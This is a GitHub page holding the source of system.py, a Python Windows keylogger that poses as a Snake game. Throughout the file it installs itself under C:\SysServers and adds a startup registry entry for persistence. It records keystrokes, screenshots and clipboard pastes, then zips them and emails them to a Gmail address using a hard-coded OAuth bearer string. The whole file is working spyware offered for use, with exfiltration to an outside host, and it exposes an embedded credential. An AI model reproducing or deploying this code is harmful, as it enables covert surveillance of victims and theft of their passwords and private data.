-
-
Notifications
You must be signed in to change notification settings - Fork 0
/
system.py
172 lines (146 loc) · 5.49 KB
/
system.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
# pyinstaller -F -w -n snake -i Snake.ico system.py
import getpass
import mimetypes
import os
import shutil
import smtplib
import sys
import time
from zipfile import ZipFile, ZIP_DEFLATED
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import pyHook
import pythoncom
import win32api
import win32clipboard
import win32con
from PIL import ImageGrab
from snake import start_game
# ***********************
# Modifiable parameters
# ***********************
# How many the user does window switches are needed for the keylogger
# to compress all the information and send it to the hacker.
SEND_INTERVAL = 3
# Mailboxes used to send packaged messages
E_ADDRESS = '[email protected]'
E_PASSWORD = 'HACKERNB123'
RECEIVER = E_ADDRESS
addr = sys.path[0] + '\\log.txt'
pic_path = sys.path[0] + '\\pic'
curr_window = ''
counter = 0
zip_path = sys.path[0] + '\\secret.zip'
def before_send_after():
# Before
with ZipFile(zip_path, "w", ZIP_DEFLATED) as zip_f, \
open(addr, 'a+') as log:
for dirpath, dirnames, filenames in os.walk(pic_path):
for filename in filenames:
zip_f.write(os.path.join(dirpath, filename), 'pic\\' + filename)
log.flush()
zip_f.write(addr, 'log.txt')
shutil.rmtree(pic_path)
log.truncate(0) # clear log.txt
send_email()
# After
os.remove(zip_path)
def send_email():
# send ZIP to email
global E_ADDRESS, E_PASSWORD, RECEIVER
msg = MIMEMultipart()
msg.attach(MIMEText("Got new classified information!", 'html'))
msg['Subject'] = 'New Screat From %s' % getpass.getuser()
msg['From'] = E_ADDRESS
msg['To'] = RECEIVER
data = open(zip_path, 'rb')
ctype, encoding = mimetypes.guess_type(zip_path)
if ctype is None or encoding is not None:
ctype = 'application/octet-stream'
maintype, subtype = ctype.split('/', 1)
file_msg = MIMEBase(maintype, subtype)
file_msg.set_payload(data.read())
data.close()
encoders.encode_base64(file_msg)
file_msg.add_header('Content-Disposition',
'attachment', filename="secret.zip")
msg.attach(file_msg)
# s = smtplib.SMTP_SSL(host='smtp.gmail.com', port=465)
# s.login(user=E_ADDRESS, password=E_PASSWORD)
# s.sendmail(E_ADDRESS, RECEIVER, msg.as_string())
GOOGLE_CLIENT_ID = '469586149781-vgbvdvnh8b0rpo9kh8ds1tl2jfnhqpa1.apps.googleusercontent.com'
auth_string = "dXNlcj0JYS52ZXJ5LmNhc3VhbC5lbWFpbEBnbWFpbC5jb20BYXV0aD1CZWFyZXIgeWEyOS5BMEFWQTl5MXU0cERIcGFJS0xPNDBUZ2RXaDlUbmQ3NWFiU3IwMVRHX2tDNWRMMGpuelBlUnBIU2pZVk92bmFIczZhRXdLMVBMTFRlcjFLc1BjUXVGYkYyREcwZ1JsQTFBbUZNNW5oNWNDTUxMbWNMemtNSVg4ckhXdWVvdW1JaHBHRDJObDhtZkh1aHYyNGNzX3VMY3pBbk9BSWZJNFlVTm5XVXRCVkVGVFFWUkJVMFpSUlRZMVpISTRRbEpRWVhKU2VpMW9kWFZXYmxwSE1reHBaM2x5ZHcwMTYzAQE="
server = smtplib.SMTP('smtp.gmail.com:587')
server.ehlo(GOOGLE_CLIENT_ID)
server.starttls()
server.docmd('AUTH', 'XOAUTH2 ' + auth_string)
server.sendmail(E_ADDRESS, RECEIVER, msg.as_string())
server.quit()
# s.quit()
def KBevent(event):
global curr_window, counter
log = open(addr, 'a+')
if curr_window != event.WindowName:
# zip all info and send to the hacker
if counter > SEND_INTERVAL:
counter = 0
before_send_after()
# Keyboard record part
curr_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime())
log.write("\n\n")
curr_window = event.WindowName
log.write("Time: %s\n" % curr_time)
log.write("Window: %s\n" % curr_window)
log.write("Pic ID: %s\n" % counter)
log.write("Key: ")
# Screen shot part
if not os.path.exists(pic_path):
os.makedirs(pic_path)
pic = ImageGrab.grab()
pic.save(os.path.join(pic_path, str(counter) + ".jpg"))
counter += 1
# Special handling of non-letters
if len(event.Key) > 1:
temp = '[' + event.Key + ']'
log.write(temp)
else:
log.write(event.Key)
if event.Key == 'V':
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
log.write("\nPASTE: %s\nKey: " % pasted_value)
# Press the F12 key to exit the program
log.close()
if str(event.Key) == 'F12':
os.remove(addr)
shutil.rmtree(pic_path)
win32api.PostQuitMessage()
return True
# Back itself up to the system disk
if not os.path.exists('C:\\SysServers'):
os.makedirs('C:\\SysServers')
if not os.path.exists('C:\\SysServers\\system.exe'):
shutil.copy('snake.exe', 'C:\\SysServers')
os.rename('C:\\SysServers\\snake.exe', 'C:\\SysServers\\system.exe')
# Add it to Windows Startup
name = 'SysServers'
path = 'C:\\SysServers\\system.exe'
KeyName = 'Software\\Microsoft\\Windows\\CurrentVersion\\Run'
key = win32api.RegOpenKey(win32con.HKEY_CURRENT_USER,
KeyName, 0, win32con.KEY_ALL_ACCESS)
win32api.RegSetValueEx(key, name, 0, win32con.REG_SZ, path)
# win32api.RegDeleteValue(key, name)
win32api.RegCloseKey(key)
# Run game as disguise
if os.getcwd() != 'C:\SysServers':
# After Game Over, it will exacute the Keylogger in Backup
start_game()
# Begin the Keylogger if it's in the Backup
if os.getcwd() == 'C:\SysServers':
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = KBevent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()